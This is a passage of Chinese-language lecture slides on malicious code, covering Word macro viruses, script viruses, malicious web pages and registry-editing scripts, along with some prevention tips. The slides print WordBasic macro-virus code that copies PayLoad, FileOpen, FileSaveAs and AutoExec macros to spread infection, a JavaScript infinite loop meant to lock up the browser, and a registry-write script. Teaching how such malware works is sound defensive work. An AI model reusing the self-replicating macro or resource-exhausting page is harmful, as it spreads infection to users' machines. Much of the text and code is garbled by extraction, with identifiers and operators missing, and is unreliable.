惡意代碼ppt課件(編輯修改稿)
2025-06-08 08:56 本頁(yè)面
【文章內(nèi)容簡(jiǎn)介】 系統(tǒng)命令調(diào)用Windows API、 DLL等。這些操作均可能對(duì)系統(tǒng)直接構(gòu)成威脅。 帶毒文檔 W or d 系統(tǒng) 被感染 打開文檔 其它文檔 被感染 處理其 它文檔 宏病毒實(shí)例 第 25頁(yè) On Error Goto Abort iMacroCount=CountMacros(0,0) For i=1 To iMacroCount If MacroName$(i,0,0)=”PayLoad” Then bInstalled=1 End If Next I ?病毒安裝 :通過(guò)文檔傳染系統(tǒng)的過(guò)程 ?可以定義autoopen或者FileOpen宏實(shí)現(xiàn) 第 26頁(yè) If Not bInstalled Then FN$=FileName$() Macros= FN$+PayLoad MacroCopy Macro$, PayLoad Macro$= FN $+FileOpen MacroCopy Macro$,FileOpen Macro$= FN $+FileSaveAs MacroCopy MacroS,FileSaveAs Macro$= FN $+AutoExec MacroCopy Macro$,AutoExec End If Abort: End Sub 第 27頁(yè) Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg sMc$=FileName$() If (=0)Or (dlg. Format=l) Then MacroCopy FileSaveAs, sMc$ + :FileSaveAs MacroCopy FileSave , sMc$+ :FileSave MacroCopy PayLoad, sMc$+:PayLoad MacroCopy FileOpen, sMc$+:FileOpen = 1 //表示作為模板保存 End If FileSaveAs dlg // 做實(shí)際的保存 End Sub 病毒復(fù)制 :使用 FileSave和 PileSaveAs宏將模板中的宏拷貝到文檔中 第 28頁(yè) 病毒破壞 ? 可以使用宏命令編寫任意的破壞代碼，比如格式化硬盤等，也可以用宏調(diào)用外部病毒或者一些木馬程序。 ? 例如：在 FileClose宏中寫下如下指令： MsgBox(“You are infected, Ha Ha”) 第 29頁(yè) 宏病毒的預(yù)防和清除 ? 檢查是否存在“可疑”的宏。所謂可疑的宏，是指用戶自己沒(méi)有編制過(guò)，也不是 Word默認(rèn)提供的，而是新出現(xiàn)的宏，尤其對(duì)以“ Auto” 開頭的宏，應(yīng)當(dāng)高度警惕。 ? 對(duì)于已被傳染病毒的文件首先將 (AutoOpen、 AutoClose、 AutoNew等 )，然后將 讀方式。為防止 Word系統(tǒng)被感染， DOS的 Autoexec． bat和； ? 由于宏病毒是通過(guò)自動(dòng)執(zhí)行宏的方式來(lái)激活、傳染和破壞的，所以將自動(dòng)執(zhí)行宏屏蔽掉， Word就不會(huì)自動(dòng)執(zhí)行宏。文檔中或 Word系統(tǒng)即使有宏病毒存在，但由于無(wú)法被激活，也就無(wú)法傳染和破壞，起到了防毒的效果。具體方法是：在 中編寫名為“ AutoExec” 的自動(dòng)執(zhí)行宏，內(nèi)容為 DisableAutoMacros。 ? 在打開文件時(shí)，按住 Shift鍵可以阻止自動(dòng)宏的運(yùn)行 。 第 30頁(yè) 腳本病毒 ? 腳本病毒是目前最流行的計(jì)算機(jī)病毒，通常利用網(wǎng)絡(luò)介質(zhì)進(jìn)行傳播和破壞系統(tǒng)資源，具有破壞性強(qiáng)、傳播速度快、變種類型多、代碼編寫容易等特點(diǎn)。 第 31頁(yè) ? 腳本程序的執(zhí)行離不開 WSH(Windows Script Host，Windows腳本宿主 )環(huán)境， WSH為宿主腳本創(chuàng)建環(huán)境。 ? WSH是微軟提供的一種基于 32位 Windows平臺(tái)的、與語(yǔ)言無(wú)關(guān)的腳本解釋機(jī)制，它使得腳本能夠直接在 Windows桌面或命令提示符下運(yùn)行。 ? 利用 WSH，用戶能夠操縱 WSH對(duì)象、 ActiveX對(duì)象、注冊(cè)表和文件系統(tǒng)，還可訪問(wèn)活動(dòng)目錄服務(wù)。 第 32頁(yè) 網(wǎng)頁(yè)惡意代碼病毒 ? 消耗系統(tǒng)資源。通過(guò)不斷消耗本機(jī)系統(tǒng)資源，使計(jì)算機(jī)不能處理其他進(jìn)程，導(dǎo)致系統(tǒng)與網(wǎng)絡(luò)癱瘓。這類病毒大都是利用 JavaScript產(chǎn)生一個(gè)死循環(huán)，它可以在有惡意的網(wǎng)站中出現(xiàn)，也可以被當(dāng)做郵件的附件發(fā)給用戶，當(dāng)用戶打開 htm、 vbs附件時(shí)，屏幕出現(xiàn)無(wú)數(shù)個(gè)瀏覽器窗口，最后不得不關(guān)機(jī)重新啟動(dòng)； ? 非法向用戶的硬盤寫入文件。最近有部分個(gè)人主頁(yè)或郵件含有可以格式化本地硬盤的惡意代碼； ? IE泄密。利用 IE ，網(wǎng)頁(yè)可以讀取客戶機(jī)的文件，攻擊者獲取用戶帳號(hào)與密碼。 ? 利用郵件非法安裝木馬。 第 33頁(yè) 一個(gè)示意性的惡意網(wǎng)頁(yè)代碼，該程序利用死循環(huán)的原理，交叉顯示紅色和黑色，造成刺眼的效果，該代碼可以使 。 html body Test script var color=new Array。 color[1]=black。 color[2]=red。 for(x=2。x3。x++) { =color[x]。 //設(shè)置背景色 if(x==2){x=0。} //造成死循環(huán) } /script body /html 第 34頁(yè) 攻擊注冊(cè)表的惡意腳本 ? 注冊(cè)表的相關(guān)操作 : ? 創(chuàng)建一個(gè)能與操作系統(tǒng)溝通的對(duì)象 ? Dim OperationRegistry ? Set OperationRegistry=() ? RegRead：讀操作 RegRead主要是用來(lái)讀取注冊(cè)表中主鍵的默認(rèn)值或鍵值，例如： ? Read_Data1=(HKCR\xxx\) ? RegWrite：寫操作 RegWrite主要是用來(lái)在注冊(cè)表中新建主鍵或鍵值，并賦予給它們一個(gè)初始值。 ? HKCR\xxx\value,1,REG_DWORD ? RegDelete：刪除操作 RegDelete主要是用來(lái)刪除注冊(cè)表中已存在的主鍵或鍵值，同讀操作類似需要指定鍵路徑。 第 35頁(yè) 操作注冊(cè)表的腳本程序?qū)嵗? ? 39。腳本文件名 Sub Change(Argument) RegPathamp。Argument,Key_Data,Type_Name MsgBox(Success!) End Su
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號(hào)-1